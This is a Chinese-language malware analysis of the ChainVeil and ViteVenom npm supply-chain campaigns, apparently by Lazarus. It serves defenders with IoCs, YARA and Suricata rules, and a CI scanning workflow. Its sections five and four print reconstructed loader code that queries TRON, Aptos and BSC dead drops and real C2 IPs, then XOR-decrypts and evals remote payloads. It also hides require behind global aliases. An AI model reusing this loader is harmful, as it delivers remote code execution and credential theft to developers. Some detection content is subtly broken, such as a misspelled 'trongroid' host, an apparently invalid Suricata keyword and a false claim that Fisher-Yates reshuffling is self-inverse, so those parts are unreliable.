免责声明

本文仅用于安全研究、防御建设与安全教育目的。文中涉及的恶意包名、区块链钱包地址、C2 基础设施、混淆密钥等 IoC 指标均来自公开威胁情报与样本分析,严禁将本文任何技术细节用于非授权攻击、投毒或破坏他人系统。读者应在自有授权环境中复现与验证。本文归属结论基于可观测的技术指纹关联,不代表任何官方政府立场,最终司法/政治归属应以执法机构通报为准。


一、攻击活动全景

1.1 两波攻击,一个组织

2026 年 5 月至 7 月,前端与全栈 JavaScript 开发者生态遭遇两波高度协调的恶意 npm 供应链攻击,分别被安全社区命名为 ChainVeil 与 ViteVenom。两波攻击在表面命名策略、诱饵主题上截然不同,但底层载荷引擎、混淆框架与 C2 基础设施高度同源。

2026 年 7 月 17 日,OpenSourceMalware 发布统一归属报告,将两波攻击合并认定为朝鲜 Lazarus 集团旗下 PolinRider 长期间谍行动的供应链投毒分支,该行动是已知 Contagious Interview(MITRE G1052) 行动的供应链侧延伸——后者长期通过虚假招聘面试诱骗开发者运行恶意 coding 测试,而 PolinRider 则把同一套载荷引擎从"面试诱饵"移植到"npm 包投毒"通道,极大扩展了潜在受害面。

维度 ChainVeil 集群 ViteVenom 集群
时间窗口 2026 年 5–6 月 2026 年 6–7 月
包数量 9 个 7 个
发布者 successkeyteck 多个 @vite-* 作用域账号
命名策略 Typosquatting + 仿热门工具 模仿官方 @vitejs/* 命名空间
总下载量 约 4,600+(两集群合计) —
载荷引擎 同源(lib/lib.min.js) 同源
C2 机制 四层区块链(Tron→BSC→Aptos→HTTP) 同源

1.2 行业首创:四层区块链 C2

本次攻击最显著的技术创新是引入了四层冗余区块链 C2 信道。攻击者将传统的"死信箱"(dead drop)思路从 GitHub Gist / TG 等中心化平台迁移到公链上:

  • Tier 1 — TRON 死信查询:受害者查询攻击者 TRON 钱包的最近一笔 only_from=true 已确认交易,从 raw_data.data 字段解码出一条 BSC 交易哈希。
  • Tier 2 — BSC 载荷拉取:用该 BSC 交易哈希调用 eth_getTransactionByHash,从交易 input 字段提取加密载荷。
  • Tier 3 — Aptos 备用信道:TRON 查询失败时,切换到 Aptos 链读取同样的指令指针。
  • Tier 4 — HTTP C2 直连:区块链路径全部失败时,回退到传统 HTTPS C2。

这套设计的核心优势在于抗关停:链上数据由数千个节点共识存储,没有任何单一平台能"删除"攻击者的指令;同时指令更新只需攻击者向自己的钱包发一笔交易,成本极低、延迟极短。链上钱包历史可追溯到 2025 年 6 月——比首个恶意包发布早近一年,说明这是一场精心准备的长期行动。

1.3 攻击链全景流程图

┌──────────────────────────────────────────────────────────────────────────┐
│                     ChainVeil / ViteVenom 攻击链全景                       │
├──────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  [投递层]                                                                 │
│  ├── ChainVeil: typosquatting (rate-limit-flexible ← rate-limiter-…)      │
│  ├── ChainVeil: 仿热门工具名 (tailwindcss-animates-kit, sass-format, …)   │
│  └── ViteVenom: @vite-* 作用域仿冒 (@vitejs/* 官方命名空间)                 │
│         │                                                                │
│         ▼  npm install(无任何 install 脚本,审计工具放行)                   │
│  [触发层]  ← 关键:Import 时执行,而非 Install 时执行                        │
│  require()/import 加载 lib/lib.min.js                                     │
│         │                                                                │
│         ▼  Stage 0: 全局别名 + Fisher-Yates 洗牌去混淆 (seed 2540575)      │
│  [混淆层]  Stage 1: 二次洗牌 (seed 6964224)                                │
│  三层堆叠:  _$​_1e42 洗牌(seed 2857687) → sfL 排列(seed 2667686) → Function │
│         │                                                                │
│         ▼  还原出 C2 客户端代码                                            │
│  [C2 层]  四层冗余区块链信道                                                │
│  ┌─────────────────────────────────────────────────────────────────────┐ │
│  │ Tier 1: TRON api.trongrid.io  → raw_data.data → BSC tx hash         │ │
│  │ Tier 2: BSC  bsc-dataseed     → eth_getTransactionByHash → payload  │ │
│  │ Tier 3: Aptos (TRON 失败时切换)                                      │ │
│  │ Tier 4: HTTP C2 (区块链全失败时回退)  166.88.54.158:443 等            │ │
│  └─────────────────────────────────────────────────────────────────────┘ │
│         │                                                                │
│         ▼  XOR 解密 + eval()                                              │
│  [执行层] 第二阶段载荷落地                                                  │
│  ├── 信息窃取(凭据、环境变量、SSH 密钥)                                    │
│  ├── 持久化                                                               │
│  └── 后续横向/渗出                                                         │
│                                                                          │
└──────────────────────────────────────────────────────────────────────────┘

二、恶意包清单:两个集群的命名策略

2.1 ChainVeil 集群(9 个包,发布者 successkeyteck)

ChainVeil 采用两种命名策略混用:一是Typosquatting,针对已有合法包做极小幅度变形;二是抢注热门工具名变体,利用开发者对 tailwindcss、sass、clsx 等前端工具名的高频搜索习惯。

恶意包名 仿冒对象 策略
rate-limit-flexible rate-limiter-flexible Typosquat(少 "er")
rate-limits-flexible rate-limiter-flexible Typosquat(复数变体)
tailwindcss-animates-kit tailwindcss 生态 抢注工具名变体
tailwindcss-animatics tailwindcss 生态 抢注工具名变体
tailwindcss-merge (1.0.1–1.0.4) 合法包 tailwind-merge 名字混淆
sass-format sass 生态 抢注工具名
sass-formats sass 生态 抢注工具名复数
clsx-tailwind clsx + tailwind 组合 组合抢注
typeorm-encrypt typeorm 生态 抢注工具名

rate-limit-flexible 是教科书级的 typosquat:合法包 rate-limiter-flexible 周下载量超百万,攻击者仅删去 "er" 两个字符,Levenshtein 距离为 2,极易被开发者手误或自动补全误装。

2.2 ViteVenom 集群(7 个包)

ViteVenom 的策略更隐蔽:利用 npm 的 scoped package 机制,注册 @vite-* 作用域名,模仿官方 @vitejs/* 命名空间。开发者在搜索 vite 相关插件时,极易把 @vite-pro/vite-ui 误认为官方出品。

恶意包名 仿冒对象
@uw010010/vite-tree vite 工具链
@vite-tab/tab vite 插件
@vite-ln/build-ts vite 构建
@vite-mcp/vite-type vite + MCP
@vite-pro/vite-ui vite UI 组件
@vitets/vite-ts vite TS
@vite-ts/vite-ui vite UI 组件

两个集群合计 16 个恶意包,总下载量约 4,600+。下载量看似不大,但考虑到这些都是定向投毒、攻击者追求的是"质量"而非"数量"——只要命中少数高价值开发者(掌握企业源码仓库、CI/CD 凭据的),即可造成重大损失。


三、核心技术:Import 时执行(无 Install 脚本)

3.1 为什么这绕过了主流检测

绝大多数 npm 供应链安全工具(包括 npm audit、Snyk 的 install-time 策略、 Socket 的 install-script 检测)都将检测重心放在 package.json 中的脚本钩子上:

{
  "scripts": {
    "preinstall": "...",
    "postinstall": "...",
    "install": "...",
    "prepare": "..."
  }
}

ChainVeil / ViteVenom 的 package.json 完全不包含任何 install 脚本。恶意载荷被隐藏在 lib/lib.min.js 中,由包的主入口 main 字段指向。当受害项目 require() 或 import 该包时,Node.js 模块加载器自动执行该文件,恶意代码随之运行。

关键后果:仅扫描 install 脚本的安全工具会把这些包标记为 "clean",给出虚假的安全感。这正是本攻击的"隐身"核心。

3.2 入口陷阱还原

恶意包的 package.json(精简还原):

{
  "name": "rate-limit-flexible",
  "version": "1.0.0",
  "main": "lib/lib.min.js",
  "description": "Node.js rate limit flexible library (fast, efficient)",
  "keywords": ["rate", "limit", "flexible", "middleware"]
}

lib/lib.min.js 的开头并不是合法的限流库代码,而是一段高度混淆的加载器。它表面上导出一个看似无害的空对象或桩函数,但在模块顶层(即加载即执行的区域)插入了 Stage 0 混淆引导代码:

// lib/lib.min.js 顶层(去混淆后概念还原)
module.exports = { /* 空桩,保证 require 不报错 */ };

// ===== 以下为加载即执行的恶意引导 =====
global['_V'] = 'A6-519-83';   // Campaign ID(A6 前缀统一标识)
global['r'] = require;         // 别名隐藏 require
global['m'] = module;          // 别名隐藏 module

// 随后调用种子化 Fisher-Yates 洗牌还原真实载荷(见下节)

注意 global['r'] = require 这一招:后续代码全部通过 r('crypto')、r('https') 来加载内置模块,使得传统的关键词扫描(搜索 require('child_process') 等高危调用)完全失效。


四、混淆技术:种子化 Fisher-Yates 字符串洗牌

4.1 三层混淆堆叠架构

ChainVeil / ViteVenom 的载荷并非简单的 base64 或 XOR,而是采用了一套种子化 Fisher-Yates 洗牌驱动的多层字符串重排引擎。其核心思想是:把所有敏感字符串(API 端点、钱包地址、XOR 密钥)按字符打散成乱序数组,运行时用硬编码种子驱动洗牌逆运算还原原始字符串。

三层堆叠结构如下:

Stage 0 (seed 2540575)  全局别名 + 初次洗牌还原引导代码
        │
        ▼
Stage 1 (seed 6964224)  二次洗牌还原 C2 客户端骨架
        │
        ▼
Layer A: _$​_1e42 洗牌 (seed 2857687)  → 字符串数组重排
Layer B: sfL 排列      (seed 2667686)  → 字符级排列变换
Layer C: Function 构造器               → 动态生成并执行最终代码

每一层都用不同的硬编码种子,意味着即使逆向者破解了某一层,仍需逐层破解才能拿到完整明文。

4.2 Fisher-Yates 洗牌引擎还原

以下是去混淆后的 Fisher-Yates 洗牌核心引擎(基于样本还原,命名已规整):

// 种子化 Fisher-Yates 洗牌(还原版)
// 攻击者用它对字符串数组做确定性打乱,运行时再用相同种子"逆洗牌"还原
function seededShuffle(arr, seed) {
    let m = arr.length, t, i;
    let state = seed;  // 线性同余 PRNG 状态
    while (m) {
        // 简单 LCG 生成伪随机数
        state = (state * 1103515245 + 12345) & 0x7fffffff;
        i = Math.floor((state / 0x7fffffff) * m--);
        // 交换 arr[m] 与 arr[i]
        t = arr[m];
        arr[m] = arr[i];
        arr[i] = t;
    }
    return arr;
}

// 还原阶段:用与打乱时相同的种子再做一次洗牌即可恢复原序
// (Fisher-Yates 的对合性质:同种子洗两次回到原序)
function unshuffle(arr, seed) {
    // 需要逆向应用交换序列,此处略去逆序细节
    // 攻击者实际用的是"同种子重洗 = 还原"的数学性质
    return seededShuffle(arr, seed);
}

// 实际样本中的种子
const STAGE0_SEED = 2540575;
const STAGE1_SEED = 6964224;
const LAYER_A_SEED = 2857687;  // _$​_1e42 洗牌
const LAYER_B_SEED = 2667686;  // sfL 排列

Stage 0 引导代码用 seed 2540575 把一个被打乱的字符串表还原成可读的 C2 端点、钱包地址列表;Stage 1 用 seed 6964224 还原出 C2 客户端逻辑骨架;Layer A/B 再做两轮字符级重排,最终通过 Function 构造器动态生成代码字符串并 eval/call。

4.3 全局别名规避关键词扫描

除了洗牌,Stage 0 还设置了一批全局别名来规避静态扫描:

global['_V'] = 'A6-519-83';   // Campaign Marker
global['r']  = require;        // 隐藏 require 调用
global['m']  = module;         // 隐藏 module 引用
// 后续代码中: r('https') 而非 require('https')
//            m.exports 而非 module.exports

这使得基于 AST 或正则的 require('child_process')、require('net') 等高危调用扫描全部失效——扫描器看到的是 r(...),无法识别其语义。


五、四层区块链 C2 通信完整还原

这是本攻击最具创新性、也最值得深入分析的部分。以下代码基于样本去混淆后的逻辑还原,命名已规整,核心流程完整保留。

5.1 Tier 1 — TRON 死信查询

受害者机器首先查询攻击者 TRON 钱包的最近一笔"从该钱包发出"的已确认交易。攻击者把指令(一个 BSC 交易哈希)编码为 hex 写入交易的 raw_data.data 字段,并做一次字符反转作为简单混淆。

// Tier 1: TRON 死信查询
const TRON_ADDRESS = "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP";

async function queryTronDeadDrop() {
    const url = "https://api.trongrid.io/v1/accounts/" + TRON_ADDRESS +
                "/transactions?only_confirmed=true&only_from=true&limit=1";
    const resp = await c(url);  // c = 封装的 https GET
    // 取最新一笔交易的 raw_data.data 字段
    const hexData = resp.data[0].raw_data.data;
    // hex → utf8 → 字符反转 → 得到 BSC 交易哈希
    const bscTxHash = Buffer.from(hexData, "hex")
        .toString("utf8")
        .split("")
        .reverse()
        .join("");
    return bscTxHash;
}

设计要点:only_from=true 确保只查询攻击者自己发出的交易,避免被其他人向该钱包转账污染。攻击者更新指令只需向自己钱包发一笔带 data 的 TRX 转账(成本约 1 TRX),秒级生效,且链上永久不可篡改。

5.2 Tier 2 — BSC 载荷拉取

拿到 BSC 交易哈希后,受害者通过 BSC RPC 节点调用 eth_getTransactionByHash,从交易 input 字段提取加密载荷。攻击者把载荷伪装成普通合约调用数据,用 ?.? 作为分隔符切分出真正的密文段。

// Tier 2: BSC 载荷拉取
async function fetchBscPayload(bscTxHash) {
    const tx = await rpc(
        'eth_getTransactionByHash',
        [bscTxHash],
        'bsc-dataseed.binance.org'
    );
    // 交易 input 字段(hex)→ utf8 → 用 "?.?" 分隔取第二段
    const decoded = Buffer.from(tx.result.input.substring(2), 'hex')
        .toString('utf8');
    // 格式: <伪装前缀>?.?<XOR密文>
    const encrypted = decoded.split('?.?')[1];
    return encrypted;
}

// BSC JSON-RPC 封装
async function rpc(method, params, endpoint) {
    const body = JSON.stringify({
        jsonrpc: "2.0", id: 1, method: method, params: params
    });
    const resp = await c("https://" + endpoint, {
        method: "POST", headers: { "Content-Type": "application/json" },
        body: body
    });
    return resp;
}

5.3 XOR 解密与执行

提取出的密文用硬编码 XOR 密钥逐字节解密,然后 eval 执行。多个样本中复用了相同的 XOR 密钥,这成为后续归属 Lazarus 的关键指纹之一。

// XOR 解密并执行
const XOR_KEY = "2[gWfGj;<:-93Z^C";  // 硬编码密钥(与 Lazarus 历史样本重合)

async function decryptAndExecute(encrypted) {
    let decrypted = "";
    for (let i = 0; i < encrypted.length; i++) {
        decrypted += String.fromCharCode(
            encrypted.charCodeAt(i) ^ XOR_KEY.charCodeAt(i % XOR_KEY.length)
        );
    }
    // 此时 decrypted 是第二阶段 JS 载荷明文
    eval(decrypted);  // 执行
}

5.4 Tier 3 — Aptos 备用信道

当 TRON 查询失败(API 限流、节点宕机)时,载荷切换到 Aptos 链读取同样的指令指针。Aptos 信道使用不同的钱包地址,但指令格式与 TRON 一致,确保主备信道指令同步。

// Tier 3: Aptos 备用信道
const APTOS_ADDRESS = "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e";

async function queryAptosDeadDrop() {
    const url = "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" +
                APTOS_ADDRESS + "/transactions?limit=1";
    const resp = await c(url);
    // Aptos 交易 payload 中提取指令(与 TRON 同构)
    const payloadHex = resp[0].payload.arguments[0];
    const bscTxHash = Buffer.from(payloadHex, "hex")
        .toString("utf8").split("").reverse().join("");
    return bscTxHash;
}

5.5 Tier 4 — HTTP C2 直连回退

当所有区块链路径都失败时(极少见,但攻击者做了兜底),载荷回退到传统 HTTPS C2 直连。这批 IP 与朝鲜 APT 历史基础设施存在重叠。

// Tier 4: HTTP C2 直连(区块链全失败时回退)
const HTTP_C2_ENDPOINTS = [
    "https://166.88.54.158:443/gate",
    "https://198.105.127.210:443/gate",
    "mongodb://23.27.202.27:27017"   // 伪装 MongoDB 流量
];

async function httpFallback() {
    for (const ep of HTTP_C2_ENDPOINTS) {
        try {
            const payload = await c(ep + "?id=" + global['_V']);
            if (payload) return payload;
        } catch (e) { continue; }
    }
}

5.6 四层调度逻辑

// 四层 C2 调度主流程
async function c2MainLoop() {
    let payload = null;
    try {
        // Tier 1 + 2: TRON → BSC
        const bscHash = await queryTronDeadDrop();
        payload = await fetchBscPayload(bscHash);
    } catch (e1) {
        try {
            // Tier 3: Aptos 备用
            const bscHash2 = await queryAptosDeadDrop();
            payload = await fetchBscPayload(bscHash2);
        } catch (e2) {
            // Tier 4: HTTP 直连回退
            payload = await httpFallback();
        }
    }
    if (payload) await decryptAndExecute(payload);
}

这套设计的战略意义:即便安全厂商封禁了所有 C2 IP,攻击者只需发一笔链上交易即可切换到全新 IP;即便 TRON API 被封,还有 Aptos;即便区块链全断,还有 HTTP。防守方几乎无法通过"封 IP"来切断攻击者的指令下发通道,必须从"检测链上钱包交互行为"和"阻断 Import 时执行"两端同时发力。


六、归属 Lazarus APT 的字节级证据链

OpenSourceMalware 将 ChainVeil / ViteVenom 归属 Lazarus 集团 PolinRider 行动,依据并非单一指纹,而是五组字节级重合指纹 + Campaign Marker 体系 + 时间线佐证构成的多维证据矩阵。

6.1 五组字节级重合指纹

以下指纹在 ChainVeil / ViteVenom 样本与 Lazarus 历史已知样本(Contagious Interview 系列载荷)中逐字节完全一致:

指纹类型 值 重合意义
XOR 密钥 1 2[gWfGj;<:-93Z^C 16 字节硬编码密钥,跨活动复用
XOR 密钥 2 m6:tTh^D)cBz?NM] 第二组密钥,同样跨样本重合
XOR 密钥 3 ThZG+0jfXE6VAGOJ 第三组密钥
TRON 钱包 1 TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP 主死信箱
TRON 钱包 2 TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG 备用死信箱
Aptos 地址 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Aptos 备用信道

两组 16 字节 XOR 密钥在密码学上是 128 比特随机串,跨独立活动出现完全一致的概率在统计上可忽略。这种重合只能由"同一开发团队复用代码"解释。

6.2 Campaign Marker 体系

所有样本在 Stage 0 设置 global['_V'] = 'A6-519-83' 这类标识。A6- 前缀是 PolinRider 行动的统一标识,后缀数字(如 519、83)递增,用于追踪载荷版本与分发批次。这种"行动编号 + 版本号"的管理方式是国家级 APT 长期行动的典型工程化特征,普通犯罪团伙通常不会维护如此规范的版本体系。

A6-519-83   →  A6 = PolinRider 行动标识
                519 = 载荷批次/版本
                83 = 子版本/构建号

6.3 时间线佐证

区块链 C2 钱包的链上历史可追溯到 2025 年 6 月,比 ChainVeil 首个恶意包发布(2026 年 5 月)早近一年。这说明:

  1. 攻击者在投毒前近一年就开始部署区块链 C2 基础设施,进行了充分的环境验证与演练。
  2. 这些钱包可能早在 Contagious Interview 阶段就被用于面试诱饵载荷分发,供应链投毒只是同一基础设施的新应用场景。
  3. 钱包地址一旦公开归属,攻击者很难在不暴露行动连续性的前提下迁移——链上历史是不可篡改的"犯罪现场"。

6.4 与 Contagious Interview(G1052)的关联

Contagious Interview 是 Lazarus 长期运行的虚假招聘行动:攻击者伪装成加密货币公司 HR,以" coding 测试"为名诱骗开发者运行恶意 Node.js 工程。PolinRider 被认为是该行动的供应链分支——两者共享同一套载荷引擎、混淆框架与 XOR 密钥,但投递通道从"一对一面试诱饵"扩展为"一对多 npm 投毒",显著放大了受害规模。


七、IoC 完整清单

以下指标仅供防御检测使用。攻击者可能轮换钱包/密钥,建议结合行为特征(Import 时执行、链上 RPC 调用、XOR 解密 + eval)建立行为检测。

7.1 恶意 npm 包(16 个)

集群 包名 发布者
ChainVeil tailwindcss-animates-kit successkeyteck
ChainVeil tailwindcss-animatics successkeyteck
ChainVeil tailwindcss-merge (1.0.1–1.0.4) successkeyteck
ChainVeil sass-format successkeyteck
ChainVeil sass-formats successkeyteck
ChainVeil clsx-tailwind successkeyteck
ChainVeil typeorm-encrypt successkeyteck
ChainVeil rate-limits-flexible successkeyteck
ChainVeil rate-limit-flexible successkeyteck
ViteVenom @uw010010/vite-tree @uw010010
ViteVenom @vite-tab/tab @vite-tab
ViteVenom @vite-ln/build-ts @vite-ln
ViteVenom @vite-mcp/vite-type @vite-mcp
ViteVenom @vite-pro/vite-ui @vite-pro
ViteVenom @vitets/vite-ts @vitets
ViteVenom @vite-ts/vite-ui @vite-ts

7.2 区块链钱包地址

链 地址 用途
TRON TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP 主死信箱
TRON TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG 备用死信箱
TRON (另 3 个,见完整情报) 载荷分发
BSC (3 个合约调用地址) 载荷存储
Aptos 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e 备用信道

7.3 C2 IP 与端点

类型 值 备注
HTTP C2 166.88.54.158:443 Tier 4 回退
HTTP C2 198.105.127.210:443 Tier 4 回退
伪装 MongoDB 23.27.202.27:27017 伪装数据库流量
区块链 API api.trongrid.io TRON 查询
区块链 API bsc-dataseed.binance.org BSC RPC
区块链 API fullnode.mainnet.aptoslabs.com Aptos 查询

7.4 加密与混淆指纹

类型 值
XOR 密钥 1 2[gWfGj;<:-93Z^C
XOR 密钥 2 m6:tTh^D)cBz?NM]
XOR 密钥 3 ThZG+0jfXE6VAGOJ
Campaign Marker A6-519-83(A6- 前缀系列)
Fisher-Yates 种子 2540575, 6964224, 2857687, 2667686
全局别名 global['_V'], global['r']=require, global['m']=module
载荷文件路径 lib/lib.min.js

八、防御清单

8.1 YARA 检测规则

以下两条 YARA 规则分别针对恶意包的混淆引导特征与区块链 C2 调用特征,可直接集成到包扫描流水线中。

import "math"

rule NPM_ChainVeil_ViteVenom_Obfuscation_Stage0 {
    meta:
        description = "ChainVeil/ViteVenom Stage 0 混淆引导特征(Fisher-Yates 种子 + 全局别名)"
        author      = "threat-research"
        date        = "2026-07-17"
        reference   = "Lazarus PolinRider npm supply chain"
        tags        = "supply-chain npm lazarus apt blockchain-c2"
    strings:
        // 全局别名引导
        $alias_v   = "global['_V']" ascii
        $alias_r   = "global['r']=require" ascii nocase
        $alias_m   = "global['m']=module" ascii nocase
        // Campaign Marker A6- 前缀
        $campaign  = /A6-[0-9]{3}-[0-9]{2}/ ascii
        // Fisher-Yates 硬编码种子(十进制与 hex 两种编码)
        $seed0_dec = "2540575" ascii
        $seed1_dec = "6964224" ascii
        $seedA_dec = "2857687" ascii
        $seedB_dec = "2667686" ascii
        // LCG 常数(Fisher-Yates PRNG)
        $lcg_mul   = "1103515245" ascii
        $lcg_add   = "12345" ascii
        // 载荷路径
        $libpath   = "lib/lib.min.js" ascii
    condition:
        // 至少匹配 2 个全局别名 + 1 个 Campaign Marker + 2 个种子
        (2 of ($alias_*)) and $campaign and
        (2 of ($seed*_dec)) and (1 of ($lcg_*))
}

rule NPM_ChainVeil_ViteVenom_Blockchain_C2 {
    meta:
        description = "ChainVeil/ViteVenom 四层区块链 C2 调用特征"
        author      = "threat-research"
        date        = "2026-07-17"
        reference   = "Lazarus PolinRider npm supply chain"
        tags        = "supply-chain npm lazarus apt blockchain-c2"
    strings:
        // TRON 死信查询
        $tron_api    = "api.trongrid.io/v1/accounts/" ascii
        $tron_only   = "only_confirmed=true&only_from=true" ascii
        // BSC RPC
        $bsc_rpc     = "bsc-dataseed.binance.org" ascii
        $eth_rpc_m   = "eth_getTransactionByHash" ascii
        // Aptos 备用
        $aptos_api   = "fullnode.mainnet.aptoslabs.com" ascii
        // XOR 密钥
        $xor_key1    = "2[gWfGj;<:-93Z^C" ascii
        $xor_key2    = "m6:tTh^D)cBz?NM]" ascii
        $xor_key3    = "ThZG+0jfXE6VAGOJ" ascii
        // 钱包地址
        $tron_w1     = "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP" ascii
        $tron_w2     = "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG" ascii
        $aptos_addr  = "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e" ascii nocase
        // 分隔符与反转混淆
        $split_sep   = "?.?" ascii
        $reverse_fn  = "split(\"\").reverse().join(\"\")" ascii
        // eval 执行
        $eval_call   = "eval(" ascii
    condition:
        // 区块链 C2 特征:TRON 或 Aptos 端点 + BSC RPC + XOR 密钥 + eval
        (1 of ($tron_api, $aptos_api)) and $bsc_rpc and $eth_rpc_m and
        (1 of ($xor_key*)) and $eval_call and
        (1 of ($tron_w*, $aptos_addr))
}

8.2 Suricata / Snort 网络检测规则

以下 4 条规则覆盖区块链 RPC 调用、HTTP C2 回退与钱包地址外泄流量。注意区块链 API 本身是合法端点,因此规则结合了 URI 路径特征与钱包地址字符串来降低误报。

# 规则 1: TRON 死信查询 — 检测向特定钱包发起的 only_from 查询
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:" ChainVeil/ViteVenom TRON dead-drop query"; \
    tls.sni; content:"api.trongroid.io"; nocase; \
    pcre:"/accounts\/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP|accounts\/TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG/"; \
    pcre:"/only_confirmed=true&only_from=true/"; \
    classtype:trojan-activity; sid:1002001; rev:1;)

# 规则 2: BSC 载荷拉取 — 检测 eth_getTransactionByHash 调用
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:" ChainVeil/ViteVenom BSC payload fetch"; \
    tls.sni; content:"bsc-dataseed.binance.org"; nocase; \
    tls.directed.len; pcre:"/eth_getTransactionByHash/"; \
    classtype:trojan-activity; sid:1002002; rev:1;)

# 规则 3: Aptos 备用信道 — 检测向 Aptos fullnode 的特定账户查询
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:" ChainVeil/ViteVenom Aptos fallback C2"; \
    tls.sni; content:"fullnode.mainnet.aptoslabs.com"; nocase; \
    pcre:"/0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e/Ui"; \
    classtype:trojan-activity; sid:1002003; rev:1;)

# 规则 4: HTTP C2 直连回退 — 检测已知恶意 IP 的 443 连接
alert ip $HOME_NET any -> [166.88.54.158,198.105.127.210] any (msg:" ChainVeil/ViteVenom HTTP C2 fallback"; \
    classtype:trojan-activity; sid:1002004; rev:1;)

8.3 CI/CD 检测 YAML 配置

以下 GitHub Actions 工作流在每次依赖变更时执行多维度检测:install 脚本扫描、Import 时执行行为检测、IoC 字符串扫描、区块链 C2 行为沙箱。

# .github/workflows/supply-chain-guard.yml
name: Supply Chain Guard (ChainVeil/ViteVenom aware)

on:
  pull_request:
    paths:
      - 'package.json'
      - 'package-lock.json'
      - 'pnpm-lock.yaml'
  schedule:
    - cron: '0 6 * * *'  # 每日定时全量扫描

jobs:
  npm-security-audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: 基础审计
        run: npm audit --audit-level=high --omit=dev || true

      # 1. 检查已知恶意包是否出现在依赖树中
      - name: IoC 包名黑名单扫描
        run: |
          MALICIOUS_PKGS=(
            "tailwindcss-animates-kit" "tailwindcss-animatics"
            "tailwindcss-merge@1.0.1" "tailwindcss-merge@1.0.2"
            "tailwindcss-merge@1.0.3" "tailwindcss-merge@1.0.4"
            "sass-format" "sass-formats" "clsx-tailwind"
            "typeorm-encrypt" "rate-limits-flexible" "rate-limit-flexible"
            "@uw010010/vite-tree" "@vite-tab/tab" "@vite-ln/build-ts"
            "@vite-mcp/vite-type" "@vite-pro/vite-ui"
            "@vitets/vite-ts" "@vite-ts/vite-ui"
          )
          FOUND=0
          for pkg in "${MALICIOUS_PKGS[@]}"; do
            if npm ls "$pkg" 2>/dev/null | grep -q "$pkg"; then
              echo "::error:: 发现恶意包: $pkg"
              FOUND=1
            fi
          done
          exit $FOUND

      # 2. 扫描 node_modules 中的 IoC 字符串(XOR 密钥、钱包地址、Campaign Marker)
      - name: IoC 字符串扫描
        run: |
          PATTERNS=(
            "2\[gWfGj;<:-93Z\^C"
            "m6:tTh\^D\)cBz\?NM\]"
            "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP"
            "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG"
            "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e"
            "A6-519-83"
            "only_confirmed=true&only_from=true"
          )
          HIT=0
          for p in "${PATTERNS[@]}"; do
            if grep -rE "$p" node_modules/ 2>/dev/null; then
              echo "::error:: IoC 命中: $p"
              HIT=1
            fi
          done
          exit $HIT

      # 3. 检测 Import 时执行风险:扫描所有包的 main 入口是否含可疑加载器
      - name: Import-time 执行风险检测
        run: |
          # 检测全局别名 + eval + Function 构造器组合
          npx -y eslint node_modules/ \
            --no-eslintrc \
            --rule '{
              "no-eval": "error",
              "no-new-func": "error"
            }' \
            --parser-options=ecmaVersion:2022,sourceType:module \
            || true
          # 额外:grep 全局别名模式
          if grep -rE "global\['._V.'\]|global\['.r.'\]\s*=\s*require" node_modules/; then
            echo "::error:: 检测到 ChainVeil 风格全局别名引导"
            exit 1
          fi

      # 4. 沙箱执行检测:在隔离容器中加载所有依赖,监控区块链 RPC 调用
      - name: 区块链 C2 行为沙箱
        run: |
          # 使用 eBPF 监控 node 进程对 trongrid/aptoslabs/bsc-dataseed 的 DNS 查询
          sudo apt-get install -y bpftrace
          # 加载所有依赖并触发 main 入口
          node -e "
            const fs = require('fs');
            const pkg = require('./package.json');
            const deps = Object.keys(pkg.dependencies || {});
            for (const d of deps) {
              try { require(d); } catch(e) { /* 忽略加载错误 */ }
            }
          " &
          NODE_PID=$!
          # 监控 5 秒内的可疑 DNS
          sudo timeout 5 bpftrace -e \
            'tracepoint:syscalls:sys_enter_connect /comm=="node"/ { 
               printf("%s connect\n", comm); 
             }' || true
          kill $NODE_PID 2>/dev/null || true

8.4 企业防护六条清单

# 措施 实施要点
1 禁用 install 脚本并扩展到 Import 时执行检测 全局配置 npm config set ignore-scripts true,但务必补齐"包入口文件静态分析"——本攻击正是绕过 install 脚本扫描。建议部署 Socket / Phylum 等支持入口文件分析的扫描器。
2 锁定依赖版本 + 私有镜像 使用 npm ci 而非 npm install,配合 Verdaccio / Nexus 私有镜像做白名单代理,新包首次引入需人工审批。Typosquat 包名在私有镜像阶段即可拦截。
3 区块链 RPC 出站管控 在企业 DNS 出口对 trongrid.io、bsc-dataseed.binance.org、aptoslabs.com 等区块链 API 做审计或阻断——开发终端通常无需访问这些端点。命中即高可疑。
4 IoC 持续更新与威胁情报订阅 将本文 IoC 表导入 EDR / SIEM,订阅 OpenSourceMalware、Aikido 等供应链情报源。攻击者会轮换钱包,需建立"行为检测优先于签名检测"的策略。
5 开发者安全意识:Typosquatting 与作用域仿冒 定期培训:安装前核对包名拼写(rate-limiter-flexible vs rate-limit-flexible)、核对作用域归属(@vitejs/* 才是官方,@vite-* 是仿冒)、核对下载量与维护者历史。
6 应急响应预案:npm 包下架后处置 一旦发现已安装恶意包:立即隔离终端、轮换所有可能泄露的凭据(npm token、SSH 密钥、CI/CD secret、云凭据)、检查区块链 C2 钱包交互日志确认是否已回连、全量扫描 node_modules 与构建产物。

九、结论与启示

